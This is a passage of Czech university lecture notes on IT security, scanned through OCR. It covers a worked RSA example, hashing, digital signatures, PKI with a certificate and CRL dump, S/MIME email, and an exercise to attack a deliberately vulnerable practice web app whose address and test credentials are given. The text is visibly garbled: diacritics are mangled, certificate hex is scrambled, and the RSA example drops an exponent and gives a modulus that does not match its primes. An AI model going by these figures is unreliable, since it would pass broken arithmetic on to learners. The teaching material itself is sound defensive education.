tohoto pfikladu pouZijeme vyrazné mensi prvocisla: p = 9689059
a g = 8669777. Spocitame jejich ndsobek n = 840001980869843 a se
znalosti prvocisel snadno vypocitime i (1) = 84001962511008. Ve-

fejny exponent e volime ndhodné z mnoziny {1, . ..,84001962511008},

NS

zvolime ¢&islo 5. 25 Pro pozdéjsi deSifrovani musime jeSté spocitat
soukromy kli¢ — inverzi k e v Zgap01962511008, k tomu opét vyuZzijeme

3 Nézev vznikl pouZitim prvnich pis-
men autort algoritmu: Rivest, Shamir a
Adleman.

24 Samotné generovani velkych prvodisel
neni trividlni, v praxi se generuji na-
hodnd ¢&isla, jejichz prvotiselnost se ové-
fujete testy proociselnosti, napf. Fermattv
test, Miller-Rabin, AKS, Solovay-Strassn.

25 Casto se volf &isla, kterd maji malo &fs-
lic 1 v bitovém zapisu, coz zrychli umoc-
fovani pfi Sifrovani, ale nijak nesnizi
bezpecnost.
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rozsifeny Euklidtiv algoritmus a ziskdme d = 50401177506605. Toto
¢islo bude pffjemce udrzZovat v tajnosti.

Pomoci RSA budeme chtit zaSifrovat zpravu AHOJ, v ASCII zprava
bindrné vypada takto: 01100001011010000110111101101010, coz
muZeme chapat jako dekadické ¢islo 1634234218, to budeme sif-
rovat pomoci RSA. Tato zprava je dostate¢né kratka — vysledné
¢islo je malé, nemusime je tedy délit na jednotlivé bloky x;, pus-
time se rovnou do Sifrovani: (1634234218, (5,840001980869843) ) =
1634234218 mod 840001980869843 = 57828112196679, coZ je nas
hledany kryptogram.

Desifrovani bude probihat analogicky:

d(57828112196679, 50401177506605) =

57828112196679°7401177506605 mod 840001980869843 = 1634234218,
Vsimnéte si obrovskych ¢isel v exponentu pfi umoctiovani. Kdy-
bychom toto umocnéni implementovali naivné, tak bychom se vy-
sledku nedockali ani v geologicky dohledné dobé. Pro rychlé umoctio-
véni se vyuziva algoritmus bindrniho umocriovdni?® a také fakt, ze
nemusime nejprve vypocitat umocnéni a az poté aplikovat celoci-
selné déleni, ale miizeme celo¢iselné déleni aplikovat v pritbéhu
vypoctu a tim ,ztistat u rozumné velkych cisel”. 27

Ukol 13
Ve vaSem oblibeném programovaci jazyce naprogramujte Sifro-
vani a desifrovani pomoci RSA.

Ukol 14

Poslete mi emailem vaSe =zaSifrované (pomoci RSA)
osobni ¢islo bez pismene "R", mtj vefejny Kkli¢ (512bit):
n=89140598261004490953199344447260619814031999151755610
0957082821823947760629498372582646586264701759048602133
0673184151552488940325281259133274699695424163

e=65537 (0x10001) .

Ukol 15
Bonusovy tkol: Zjistéte z jakych prvocisel vzniklo &islo 7.

2 Znam téz jako square-and-multiply.

7 Vétsina soucasnych programovacich
jazykt ma variantu funkce pro vypo-
— modul. Napf#iklad v jazyce Python je
metoda pow, ¢i v Javé modPow u tfidy
BigInteger.



Digitdlni podpis

Komunikace za pomoci digitdlnich prostfedkd je dnes jiz zcela bézna;
nad klasickou postou vitézi email svou rychlosti, cenou a mozna
i spolehlivosti. AvSak bez moZnosti jednozna¢né, nezaménitelné a
nepopiratelné vyjadfit souhlas pfes digitdlni prostfedky komuni-
kace by digitalnim prostfedkiim ,néco chybélo”. Pojd'me si nejdfive
formalizovat, co oekdvame od klasického podpisu a poté se podi-
vame, zda tyto pozadavky spliiuji digitalni podpisy.

Kromé klasického podpisu vlastni rukou se dfive vyuzivaly napfti-
klad pecetidla?®, petetni prsteny &i specialni papir. Dtivéra byla po-
stavena na nedostupnosti téchto prosttedku ¢i ptisnych trestech pti
padélani. Zakaz padélani vlastnoru¢nich podpisti je i dnes ukotven
v zédkonech, avSak samotné prokazani padélku neni tiplné jednodu-
ché — dle zvoleného média (druh papiru, pera) mtiZe grafolog urcit,
Ze s néjakou mirou pravdépodobnosti je autorem podpisu nékdo
jiny.

Tedy vlastnoru¢ni podpis by nemél jit snadno replikovat jinou oso-
bou, padélani podpisti by mélo byt néjak ukotveno v zakoné a také
forma podepisovani by méla mit n&jaké nalezitosti. Napfiklad ne-
podepisovat oby¢ejnou tuzkou ¢&i ,,zmizikovatelnym” perem, nepo-
depisovat prazdny papfr, vicestrankové dokumenty mit pevné spo-
jené, piipadné podepisovat kazdou stranu zvlast, aby se zamezilo
vyméneé stranky nebo doplnéni odstavcii az po podpisu.
Obdobnych vlastnosti se ndm podafi dosdhnout pomoci asymet-
rické kryptografie i v digitdlnim svété.

® Podepsat dokument by mél umét pouze drzitel privatniho
klice.

* Ovéfeni podpisu by mélo byt snadné pfi znalosti vefejného
kli¢e podepisujiciho.

¢ Podepsany dokument by nemélo jit zménit, pfipadna zmeéna
se odhalf pfi ovéfovani podpisu.

® Je potfeba znadt a umét ovéfit pfesny ¢as podpisu.

JelikoZ je asymetricka kryptografie vyrazné pomalejsi nez symet-
rickd a protoZe nemusime podepisovat jen kratké texty ale i roz-

8 Velké peceté na dopisnich obalkach z4-
roven slouZily jako ochrana pfed poruse-
nim davérnosti zpravy.
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séhlé digitdlni dokumenty(filmy, instala¢ni média, ...), vyuZijeme

pro digitalni podepisovani vlastnosti kryptografickijch hashovacich funkci.

Kryptografické hashovaci funkce

Kryptograficka hashovaci funkce je zobrazeni hash : X — Y, kde:
* x € X je zprava(soubor) libovolné délky

* y € Y je kratkd posloupnost znakti(bajt(i) pevné délky nazy-
vand hashovand hodnota (nebo také digest — vytah, souhrn).

Kazd4 kryptograficka hashovaci funkce by méla spliovat zdkladni
vlastnosti: deterministi¢nost — pro stejny vstup vréati vzdy stejny
vystup, nehraje roli ndhoda; jednosmeérnost — pro kazdy vstup se
snadno vypocitd, avsak neni snadné ji invertovat; jedinym zptiso-
bem jak ziskat hash(x) je vyhodnoceni funkce hash — nemtizeme
vyuzit zddnou postranni znalost®?; lavinovitost — pro podobné vstu-
py by méla vracet naprosto odlisné vystupy.3°

Abychom mohli kryptografickou hashovaci funkci nazvat bezpec-
nou, zpfisnime podminky na jednosmérnost:

Odolnost viici ziskdni vzoru — méjme hashovanou hodnotu y, bude
velmi obtiZné nalézt néjakou zpravu x tak, Ze hash(x) = y.

Odolnost viici ziskdni jiného vzoru — pro zvolenou zpravu x bude velmi
obtizné nalézt jinou zpravu x, # x takovou, Ze hash(x) = hash(xy).
31

Odolnosti viici kolizi — bude velmi obtiZné nalézt jakékoliv x1 a xp,
X1 # xp takové, Ze hash(xj) = hash(xy).3*

Kryptografické hashovaci funkce se hojné pouzivaji. Mizeme je vy-
uzit k ovéfeni integrity a porovndni soubord, kde naptiklad pti
stahovani instala¢nich medif opera¢nich systémt byvaji k dispozici
kontrolni hashované hodnoty. Po stazeni souboru mtiZeme ovéfit,
Ze ndm instala¢ni médium nikdo nezménil po cesté. Samoziejmé
tyto hodnoty byvaji i digitalné popsany, aby nékdo nezaménil i
zvefejnéné hodnoty.33 Dalsf vyuzit{ je pii registraci a ovéfeni hesel
u systému s autentizaci — v databézi by nikdy neméla byt uloZena
hesla v oteviené podobég, aby spravce databaze ¢i narusitel nezjistil
skutetnd hesla uZivateld. V databazi by mély byt uloZeny pouze
hashované hodnoty ztetézeni hesel s takzvanou sol?4. A nakonec
se kryptografické hashovaci funkce vyuZivaji pfi digitdlnim pode-
pisovani dokumentt, zprav ¢i soubort.

Znadmymi implementacemi kryptografickych hashovacich funkci
jsou: MD5, ta jiZ neni povaZovana za bezpeénou, neni odolna vici ko-
lizi i viaci ziskani jiného vzoru. Doporucuje se ji pouZivat pouze pro
kontrolni soucty nekritickych dokumentti. SHA-1, také jiZ neni bez-
pecnd, existuji efektivnéjsi zptisoby hledani kolizi nez bruteforce.
SHA-2, ktera poskytuje vice variant dle délky hashovanych hodnot:

»Napiiklad ze znalosti hash(x) a
hash(y) bychom neméli byt schopni od-
vodit, jak by mohl vypadat hash(x + y).

*Zména jednoho bajtu na vstupu by
méla vyvolat velkou zménu na vystupu.

31 JelikoZ je mnoZina X’ vétsinou vyrazné
vétsi nez mnoZina hodnot ) musi tyto x
a xp existovat.

32Na prvni pohled se muiZe jevit stejné
jako pfedchozi odolnost, zasadni rozdil
je v (ne)zafixovani x.

33 Naptiklad Debian Linux vyuZiva ha-
shovaci funkce SHA-256 a SHA-512.

3+ 51l — ndhodny fetézec vygenerovany
pro kazdé hashované heslo, zajisti se tak
odlisnost hashovanych hodnot uZivatelti
se stejnymi hesly.



SHA224, SHA-2563°, SHA-384 a SHA-512. Pro hashovani hesel se vy-
uzivaji zdmérné neefektivni hashovaci funkce, naptiklad PBKDF2,
scrypt, Argon2, Berypt, které kromé vstupniho fetézce vyzaduji i
siil, zdmérna neefektivnost znesnadiiuje ttoky hrubou silou.

Ukol 16
Zjistéte, jaké kryptografické hashovaci funkce vyuzivd k ovéfeni
integrity distributor vaseho oblibeného opera¢niho systému.

Ukol 17
Spotitejte hashovanou hodnotu z néjakého velkého souboru a
srovnejte rychlost riiznych hashovacich funkci.

Ukol 18
Ovétte, Ze jsou kryptografické hashovaci funkce uréené k hasho-
vani hesel skute¢né pomalejsi a proved'te srovnani s SHA-256 ¢i
SHA-512.

Digitalni podpis a jeho ovéfeni

Pro pouziti asymetrické kryptografie k digitdlnimu podepisovani
dokumentti potfebujeme mit Sifru, kterd bude fungovat i po za-
meéné roli privatniho a vefejného kli¢e. Digitalntho podpisu musi
byt schopen pouze drZitel privatniho klice, vefejnym klicem bu-
deme ovéfovat pravost podpisu. Sifra RSA tuto ziménu umoziiuje,
a proto ji pro digitdlni podpis mfizeme pouit.3°

Z dtvodti efektivity nebude podepisujici Sifrovat(=podepisovat) cely
dokument x, ale nejprve z néj vhodnou kryptografickou hashovaci
funkci vypotitd hashovanou hodnotu hash(x) a tu zasifruje svym
privatnim klicem, dostaneme y = RSA(hash(x), PK). Vyslednou
hodnotu pfipoji podepisujici k ptivodnimu dokumentu, tedy (x,y)
bude figurovat jako podepsany dokument.

Prijemce(Ctendf, ovéfujici) si z ptivodniho dokumentu x stejnou kryp-
tografickou hashovaci funkci vypo¢itd hashovanou hodnotu hash(x),

dale vefejnym klicem podepisujictho desifruje y: z = RSA~1(y, VK).
Poté srovnd hash(x) L z, pokud se hodnoty rovnaji, dokument byl
podepisujicim podepsan v soucasném tvaru. Pokud se hodnoty ne-
rovnaji, mohl se nékdo pokusit dokument pozménit, ¢i podepisujici
dany dokument nikdy nepodepsal.

Cely proces je zndzornén na obrazku 4. Pro bezproblémové fungo-
vani celého mechanismu musi ovéfujici znat, jakou $ifru a krypto-
grafickou hashovaci funkci podepisujici pouzil. Musi byt také zajis-
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35 Vyuzita v kryptoméné Bitcoin.

3 Dnes je ¢asto nahrazovéna algoritmy,
které jsou zaloZeny na eliptickych kfiv-
kéch. Tyto algoritmy poskytuji stejnou
miru bezpeénosti pti fddové kratsich kli-
¢ich.
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téno, Ze ovéfujici znd vefejny kli¢ podepisujictho. Kdyby se vefejny
kli¢ distribuoval spolu s dokumentem, mohlo by se stat, Ze by tito¢-
nik, ktery ma pod kontrolou nezabezpeteny komunikaéni kanadl,
mohl provést ttok typu Man-in-the-Middle(MitM). Tedy pozménit
dokument, podepsat jej faleSnym privatnim klicem a podstréit ové-
fujicimu fale$ny vefejny kli¢.

Domluvu pouzitych sifer, hashovacich funkci a zabranéni ttokim
typu MitM Yesi soubor norem Public Key Infrastructure.

Podepsani Ovéreni
.
Hash (otisk)
_ il
Data (dopis) Sifrovani DigitaIné podepsana data (dopis)

soukromym
klicem
autora
mO
E k Bl 111101101110
a
* 111101101110 Podpis

Certifikat Podpis

K Desifrovani
Data (dopis) verejnym
klicem

N 2

101100110101

Hash (otisk)

101100110101 —
* Hash (otisk)

A\

Digitélné podepsana data (dopis) Rovnaji-li se otisky, podpis dat (dopisu) je ovéren.

Public Key Infrastructure

Pfi zavadéni asymetrickych Sifer vzniklo mnoho nekompatibilnich
norem, které nepokryvaly celistvé vSechny problémy a rtizné apli-
kace si problematiku digitalnich podpisti fesily ,po svém” a byly
vzdjemné nekompatibilni. V internetovém prostiedi se zavedla sada
organizacnich a technickych norem, pojmenovana Public Key In-
frastructure(PKI), které oSetfuji manipulaci s privatnimi a vefejnymi
kli¢i, definuji formaty dat, Sifrovaci a kryptografické hashovaci funk-
ce. Obranu proti ttokdim typu MitM fesi pomoci certifikace verejného
klice, popisuji spravu, proces vydavani, trvanlivost a zneplatnéni
certifikdtii.

Certifikat vefejného kli¢e je datova struktura, kterd obsahuje dii-
lezité informace o vefejném kli¢i daného subjektu3”. Kromé sa-

Obréazek 4: Digitdlni podpis dokument.
Zdroje — Wikipedia.

37 Subjektem mftiZe byt osoba, server, in-
stituce, ...



motného vefejného kli¢e identifikuje subjekt, uruje podepisovaci
a Sifrovaci algoritmy, urcuje pouzitou kryptografickou hashovaci
funkci, sériové ¢islo, dobu platnosti, zptisob vyuziti, ... Certifikat
musi byt digitdlné podepséan certifikacni autoritou(CA), timto se za-
mezi podvrZeni vefejného kli¢e podepisujiciho.

Na prvni pohled se mtize zdat, Ze jsme problém MitM ttoku pouze
odsunuli ,0 troven vyse”, ale komunikace uzivateld s CA probiha
v chrdnéném prostfedi, CA ma nastavené bezpecné postupy spravy
certifikatd, procesy odvoladni platnosti certifikatii a jasné stanovené,
kdo ma pfistup k privatnim kli¢m. Certifikdt CA byva podepsan
jinou CA, vznika tak fetézec davéry. Certifikdty kofenovyjch certifi-
kacnich autorit jsou povazovany za divéryhodné autory operacnich
systém, webovych prohliZzec¢t ¢i emailovych klientt — k uZivateli se
doruci bezpecnou cestou. Kazdy obycejny certifikat je povazovan za
davéryhodny, je-li znam fetézec od vydavajici CA po kofenovou,
které véfi uzivateltiv operaéni systém a souhlasi-li podpisy jednot-
livych certifikatt.

Pojd'me se podivat, jak mtize vypadat certifikat — konkrétné mj
certifikat, ktery byl vydan certifika¢ni autoritou GEANT Personal
CA ;.

> openssl x509 -inform pem -noout -text -in janostik.pem
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
£8:07:26:07:8c:dc:5e:39:7e:5e:59:fe:8b:23:07:b9
Signature Algorithm: sha384WithRSAEncryption
Issuer: C=NL, 0=GEANT Vereniging, CN=GEANT Personal CA 4
Validity
Not Before: Mar 7 00:00:00 2024 GMT
Not After : Mar 7 23:59:59 2026 GMT
Subject: C=CZ, ST=0lomoucky kraj, O=Univerzita Palackého
v Olomouci, organizationIdentifier=NTRCZ-61989592,
emailAddress=radek.janostikQupol.cz, SN=JanoStik, GN
=Radek, CN=Radek JanoStik
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)

Modulus:
00:87:b8:46:b6:41:02:47:92:16:ef:0b:39:bl:2e:
a0:17:d6:51:cc:8e:89:e6:43:9a:4e:66:7c:dd:9a:
84:35:39:10:65:19:1e:b3:7d:bl:2d:28:cb:ba:4a:
c0:dd:6£:b9:fc:c6:d1:5¢c:37:5d:1f:4b:4a:4a:72:
c4:31:bb:7e:fb:3b:d4:58:e0:e4:42:57:18:fc:d3:
51:48:45:7£:£5:d0:a20:8c:49:06:d7:25:f1:1c:e9:
8f:bb:ac:40:54:37:dc:2e:0d:f4:e3:76:eb:16:21:
£1:68:b3:£2:4c:0b:2e:0c:3£:49:9f:fd:cf:19:20:

Digitalni podpis

27



28 Bezpecnost v IT

36:5d:25:ed:a5:05:9d:5b:c2:e4:fb:46:c9:a8:04:
Oa:fc:af:17:24:8b:2f:49:c6:c0:25:f2:5a:bb:72:
94:b6:cf:6a:43:c3:97:4a:d1:£7:92:db:85:2e:38:
14:7¢c:c2:89:a8:09:05:21:d3:ce:33:14:4d:8d:89:
a2:02:da:c6:ce:16:ed:27:03:1a:a0:35:8a:3f:9c:
Ob:6e:9b:b2:1c:6e:20:04:b7:3a:0e:ca:4f:b5:31:
73:ca:63:23:19:£f5:£4:53:54:16:ff:4a:e6:e7:b4:
5e:e7:42:bd:93:37:90:34:d2:da:£0:2d:53:64:95:
c9:¢c5:92:59:43:71:4b:26:92:76:bd:25:01:07:34:
1c:63
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Authority Key Identifier:
69:00:A1:C7:21:58:F8:E0:C5:1B:20:B0:0A:DD: A7
:51:BF:13:D9:E4
X509v3 Subject Key Identifier:
A3:2B:53:FA:DC:56:BF:93:96:9C:0D:72:0F:41:8C:4B
:AE:F5:91:17
X509v3 Key Usage: critical
Digital Signature, Key Encipherment
X509v3 Basic Constraints: critical
CA:FALSE
X509v3 Extended Key Usage:
E-mail Protection, TLS Web Client
Authentication
X509v3 Certificate Policies:
Policy: 1.3.6.1.4.1.6449.1.2.1.10.4
CPS: https://sectigo.com/SMIMECPS
Policy: 2.23.140.1.5.3.2
X509v3 CRL Distribution Points:
Full Name:
URI:http://GEANT.crl.sectigo.com/
GEANTPersonalCA4.crl
Authority Information Access:
CA Issuers - URI:http://GEANT.crt.sectigo.com/
GEANTPersonalCA4.crt
OCSP - URI:http://GEANT.ocsp.sectigo.com
X509v3 Subject Alternative Name:
email:radek. janostik@upol.cz
Signature Algorithm: sha384WithRSAEncryption
Signature Value:
1d:d4:77:4c:ca:3c:ee:b2:de:a8:1b:c3:3e:22:aa:40:d5:3b:
a2:60:c6:68:ff:3e:11:e0:75:4e:a0:4b:aa:61:ed:44:b7:47:
9e:6b:£7:87:04:46:07:53:de:48:cf:2c:eb:4d:05:62:ce:43:
96:d7:££:31:8b:8d:a8:2a:00:07:45:03:e3:£8:0b:10:c6:2e:
e8:89:16:2e:d0:21:38:73:85:2c:95:83:ea:41:19:cl:ba:21:
2e:4c:ef:be:2c:85:04:£3:3d:e4:9a:75:7d:c6:fe:05:9a:8b:
34:ee:0c:d7:6d:12:75:77:38:15:47:10:fc:59:e3:d3:6d:9c:
c8:d7:4e:3c:e4:92:4f:£d:45:7c:77:9f:bc:38:1d:69:fe:d0:



cc:
18:
b3:
8c:
el:
88:
b6:
c4:
Tf:
37:
de:
e8:
4d:
Ta:
61:
63:
01:
3d:
21:
68:
34:

40:
le:
3@llr'g
20:
b3:
8b:
29:
b7:
37:
do:
97:
9c:
bil:
86:
1b:
ba:
72:
:bl
09:
03:
Tb:

3f

66:
72:
d3:
Ob:
la:
cc:
7T
54:
b3:
85:
80:
d5:
dc:
fa:

8f

35:
er:
57:

Ukol 19

Prozkoumejte polozky certifikatu vasi oblibené

0d:

el

8b:
:e3:
3a:
£6:
4c:
c4:
5f:
eb:

bl

64:
a9:

6f
al

86:
24:
67:
e0:
:bl:
9b:
5b:
95:

87:
43:
43:
Tc:
00:
93:
c2:
2e:
:2d:
bc:
3d:
ta9:
:£2:
lc:
dr7:
b5:
6b:
10:
11:
ea:
65:

Oe:
33:
70:
96:
59:
3a:
3d:
a7:
81:
2c:
58:
al:
03:
55:
db:
46:
24:
eb:
a2:
8a:
fb:

5d:
02:
Ob:
8e:
5c:
lc:
e0:
92:
42:
8d:
19:
91:
09:
d3:
10:
do:
bb:
17:
12:
ac:
13:

2f

68:
b2:
cb:
85:
dr7:
eb:
b8:
68:
fa:
71:
e7:
70:
ac:
8c:
00:
8b:
51:
88:
£3:
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:da:
b4:
cb:

2f

1b:
48:
e8:
ch5:
53:
4d:
d2:
4b:
b7:
37:
03:

cl

4a7:
e2:
22:
4d:

kterd pouziva protokol HTTPS.

Jednou z dtlezitych rozsifenych polozek certifikdtu je CRL Distribution
Points: tedy definice mista, kde nalezneme seznam odvolanych

N

e8:
35:
dc:
:0b:
09:
c3:
fd:
ab:
a9:
ch:
26:
50:
dr7:
28:
8e:
:8f:
ch:
82:
5b:
a4:

70:
b0:
3b:
06:
a6:
54:
£3:
98:
a3:
44:
38:
6b:
90:
79:
T1:
ce:
ac:
£8:
6a:
b8:

:a0:
ra’:
141
raa:
127
ral:
:bd:
:91:
:0f
:21:
:03:
(Ta:
:0a:
:87:
:de:
:eb:
£7:
:90:
:ba:
:df

1b:
85:
d5:
bO:
62:
b8:
94:
20:
:40:
71:
de:
e7:
62:
38:
2e:
f0:
e0:
18:
05:
(Ta:

a8:
56:
e3:

bf

e8:

el

Ob:
18:
ab:
6d:
Ob:
a2:
59:
69:
60:
Oc:
aa:
35:
e0:
a8:

webové sluzby,

b6:
bc:
a8:
:90:
21:
:8f:
8f:
d3:
33:
ce:
28:
df:
Ge:
2c:
bd:
Tc:
b6:
ab:
04:
30:

certifikdtd. Seznam si miiZeme stahnout a prozkoumat:

46:
03:
52:
cb:

ac

ad:
84:
9f:
39:
17:
da:
db:
87:
be:
2a:
3e:
la:
e2:
di:
55:

62:
1d:
c6:
7T
cef:
eb:
aa:
f1:
5b:
33:
res
98:
1b:
fb:
5b:
81:
28:
Oe:
84:
e8:

> wget http://GEANT.crl.sectigo.com/GEANTPersonalCA4.crl

> openssl crl -inform DER -text -noout <
GEANTPersonalCA4.crl

Certificate Revocation List (CRL):
Version 2 (0x1)
Signature Algorithm: sha384WithRSAEncryption

Issuer: C=NL, O0=GEANT Vereniging, CN=GEANT Personal CA
4

Last Update: Mar 13 08:21:15 2025 GMT
Next Update: Mar 20 08:21:15 2025 GMT
CRL extensions:
X509v3 Authority Key Identifier:
69:00:A1:C7:21:58:F8:E0:C5:1B:20:B0:0A:DD: A7
:51:BF:13:D9:E4
X509v3 CRL Number:
1903

Revoked Certificates:

Digitalni podpis
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Serial Number: A215331447F56EF333062E46C381EECOC
Revocation Date: Mar 9 11:09:00 2022 GMT
Serial Number: 40513BOCF9A76CE74AFC44769BB8BADF
Revocation Date: Mar 9 12:18:49 2022 GMT
Serial Number: 26C15F31D8DF27063F0092389BF17170
Revocation Date: Mar 9 12:20:06 2022 GMT
Serial Number: B63859354AAA348D3D2CB6A6CFC25B32
Revocation Date: Mar 9 12:32:41 2022 GMT
Serial Number: C3B9A46EF924CAA8125CCBB904B50DBE
Revocation Date: Mar 9 12:34:57 2022 GMT

Na tomto seznamu jsou drZena sériova ¢isla vSech odvolanych cer-
tifikdtu az do doby vyprseni jejich platnosti. Seznam byl zkrécen3?,
na jeho konci nesmi chybét digitdlni podpis certifika¢ni autority.

Ukol 20
Ovéfte platnost mého vyse uvedeného certifikatu.

Digitdlné podepsany email

V rdmci sdruzeni CESNET médme mozZnost ziskat dtivéryhodné osob-
ni certifikaty, bohuZel v dobé psani tohoto textu probihd docasny
vypadek této sluzby — ptivodni certifikaéni autorita pomérné nece-
kané vypovédéla smlouvu. Oficidlni aktualizované informace na-
leznete na adrese https://pki.cesnet.cz/cs/tcs-sunset.html,
pfechod k nové certifika¢ni autorité by mél byt dokoncen koncem
dubna 2025.

Pokud jiz certifikdt mdme, mtiZeme jej pouZit pro podepisovani a
gifrovani Skolnich emailti a také k podepisovani dokumentd. Je po-
tfeba vhodné nastavit svého emailového klienta. Jak zobrazuje po-
depsany email klient Thunderbird miizete vidét na obrazku 5.
Emailovy klient podepsanou zpravu detekuje diky hlaviéce:

Content-Type: multipart/signed; protocol=
micalg=sha-256;
boundary=

Zpréava je poté slozena ze dvou dil¢ich ,podzprav”:

—————————————— ms020407000905040906090703
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TWEpbAOKDQo=

3 Obsahoval zhruba 8o tisic odvolanych
certifikata.


https://pki.cesnet.cz/cs/tcs-sunset.html

----- ms020407000905040906090703

Content-Type: application/pkcs7-signature; name=

Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename=

Content-Description: Elektronicky podpis S/MIME

MIAGCSqGSIb3DQEHAQCAMIACAQExDzANBg1ghkgBZQVE. . .

elektronicky podpis byl zkracen. BohuZel i v dnesni dobé velké
mnozstvi (webovych) klientt digitdlni podpisy nepodporuje ¢i in-

formace o podpisu skryva nebo nezobrazuje viibec.

Od Radek Janostik

Komu Radek Janostik 8:25 dop.
Pfedmét Podepsany S/MIME &
Mail Zabezpedeni zpravy - S/MIME

Ukol 21

8 Zzpréva je podepsana

Tato zprava obsahuje platny elektronicky podpis. Zprava nebyla po
odeslani zménéna.

Podepsano: Radek Janostik

E-mailova adresa: radek.janostik@upol.cz

Certifikat vydal: GEANT Personal CA 4

Zobrazit certifikat pro podpis

Zprava neni zasifrovana

Tato zprava nebyla pfed odeslanim zaSifrovana. Informace poslané
pfes internet bez Sifrovani mohou byt béhem pfenosu zneuzity jinymi
lidmi.

Ziskejte39 certifikat pro digitdlni podpis a nakonfigurujte svého
emailového klienta a za¢néte digitdlné podepisovat své emaily.

Digitalni podpis 31

Obréazek 5: Digitdlné podepsany email
v Thuderbird.

39 Jakmile to bude mozné.



32 Bezpecnost v IT



Webové aplikace

Webové aplikace vyuzivime v bézZném Zivoté dnes a denné. Pfes
webové aplikace mtizeme nakupovat, vyfidit agendu s trady, ob-
jednat si obéd v menze ¢i zadavat platebni p¥ikazy v internetovém
bankovnictvi. Dokonce i jeden z hlavnich univerzitnich systémt —
STAG - je webovou aplikaci. Webové aplikace tispésné nahrazuji ty
klasické, desktopové. 4° Vitézi zejména snadnou dostupnosti (neni
potieba nic instalovat), udrzovatelnosti (uzivatel ma vzdy aktudlni
verzi) a diky modernim technologiim a frameworkim i pomérné
snadnym vyvojem.

Jejich dostupnost a rozsifenost z nich vsak déld i velmi ldkavy cil
pro utocniky. Pokud bude ve webové aplikaci néjaka bezpetnostni
chyba, miize dojit k jejimu vzdalenému zneuziti a Gto¢nici mohou
ziskat:

¢ zajimava (citlivd, zpenézitelnd) data,

¢ bezplatny pfistup k obsahu ¢i sluzbam,

¢ konkuren¢ni vyhodu (docasné vyfazeni z provozu),
¢ piistup k vypocetnimu vykonu serveru.

Z téchto divodh by programatori webovych aplikaci méli byt znali
zékladnich zasad pfi vyvoji. StéZejni je znalost programovaciho ja-
zyka a frameworku, ktery je vyuZit pro vyvoj webové aplikace.
Mtize se to zdét jako samozfejmost, ale nezfidka se stavd, Ze webo-
vou aplikaci doslova ,splacad” za¢inajici programator samouk, ktery
(zatim) neznd bezpecné postupy. Tato aplikace miiZe obsahovat bez-
pecnosti zranitelnosti, které mtiZe tito¢nik v budoucnu vyuZit.
Podobné tomu byva s nasazenim oblibenych Content Management
Systémii (CMS), které si Casto nasazuji uzivatelé sami ¢&i je nasa-
zuji webdesignéfi nebo grafici. Systém nasadi, nainstaluji do néj
dopliiky a dale se o systém prakticky nestarajf, neudrzuji jej aktu-
dlni. V téchto systémech se mohou nachézet bezpecnostni chyby,
které opét mohou byt zneuzity.4*

Zdakladni principy bezpetného chovani pfi programovani webovych
aplikaci si jen ve stru¢nosti vyjmenujeme:

4 Diky technologifm jako jsou WebGL ¢i
WebAssembly je mozné v prohlize¢ich
hrat i naro¢né hry ¢ provadét pomérné
efektivni vypocéty.

41§ lehkou nadséazkou se d4 ¥ici, Ze neni
tyden, kdy by se ve tfech nejoblibenéjsich
CMS i jejich doplitcich, nenasla bezped-
nosti chyba.
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Znalost programovaciho jazyka, webovych technologii, pou-
zitého frameworku a knihoven.

Sifrovani komunikace pomoci SSL/TLS (HTTPS) — u aplikaci
bez pfihlaseni chrani proti podvrZzeni obsahu, aplikace s pfi-
hlaSenfm proti odposlechu pfihlasovacich tdajt.

UZivatelska hesla neuchovévat v oteviené podobé, vyuzit kryp-
tografickych hashovacich funkci. S hesly pracovat jen po ne-
zbytné nutnou dobu (registrace, pfihlasent).

Serverova ¢ast aplikace — backend musi kontrolovat veskera

2 vz

vstupni data a slepé nevéfit klientské ¢asti — frontendu 4>

Priibézné aktualizovat serverovou ¢ast, knihovny, jazyk a jiné
nastroje.

Dtisledné oSetfovat uzivatelské vstupy, nikdy je nevyhodno-
covat jako kéd (SQL, klientsky JavaScript, ...).

Znét principy ttokd na webové aplikace a obranu proti nim.

Cviceni - ttok na webovou aplikaci

Pro ucely cvi¢eni byla vyvinuta webova aplikace, kterd (zdmérn€)
obsahuje bezpetnostni chyby. Webovou aplikaci naleznete na ad-
rese http://168.194.80.228/, uzivatelské jméno pro HTTP-Basic
Auth je test, heslo: Heslo.

Ukol 22
Pomoci programu Wireshark odchyt'te pakety a podivejte se, jak
se prendsi pfistupové tidaje pomoci HTTP-Basic Auth.

Na aplikaci je proveditelnd vétsina ,klasickych ttokt” jako:

Cross-site scripting

Ziskani zdrojovych kédt backendu
Uprava zdrojovych kédt backendu
Ziskani hesla a uzivatele do administrace
Smazani databédze

Session hijacking

4 Zdrojové kédy jsou Casto v jazyce Ja-
vaSript, jsou vefejné zndmé a kdokoliv
je muze upravit. (Napfiklad vypnout va-
lidétory formuldit, posilat Spatnd data
nebo zkouset volat funkce backendu bez
ovéfeni.)


http://158.194.80.228/

Ukol 23
Proved’te nékteré ttoky na cvi¢nou webovou aplikaci a navrh-
néte obranu proti nim.

JelikoZ jsou nékteré tutoky destruktivni, je moZné aplikaci vratit
do ptivodniho stavu pomoci spusténi skriptu na adrese http://
158.194.80.228/reset . php?reset=true. Tento skript, prosim, ne-
mazte. Pokud bude aplikace trvale rozbita, dejte mi, prosim, védét,
manudlné ji uvedu do ptivodniho stavu.

Server s aplikaci bude k dispozici pouze v letnim semestru, do
konce ¢ervna, poté bude vypnut. 43

Webové aplikace 35

4 Neni 1iplné rozumné déravou aplikaci
dlouhodobé vystavovat celému svétu.


http://158.194.80.228/reset.php?reset=true
http://158.194.80.228/reset.php?reset=true
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Wi-Fi

Pod pojmem Wi-Fi budeme chdpat rodinu standardt, které umoz-
nuji bezdratovou komunikaci za pomoci radiovych vin#. Wi-Fi pro
,obycejné smrtelniky” vyuzivd zejména bezlicen¢ni padsma kolem
24 GHz a 5 GHz, nové&jsi standardy umoziiuji vyuZit i 6 GHz.
Z téchto dtvodd se mohou Wi-Fi spoje nazyvat mikrovlnnyjmi4s.
Prvni verze standardu Wi-Fi vznikla v roce 1997, postupné vzni-
kaly verze nové, které zvysovaly nejen rychlost, ale zavadély i nové
bezpecénostni mechanismy.

Bezpecnost bezdratové komunikace je diileZitd, protoZe caste¢né
odpadaji moZnosti fyzického omezeni pfistupu jako v pfipadé dra-
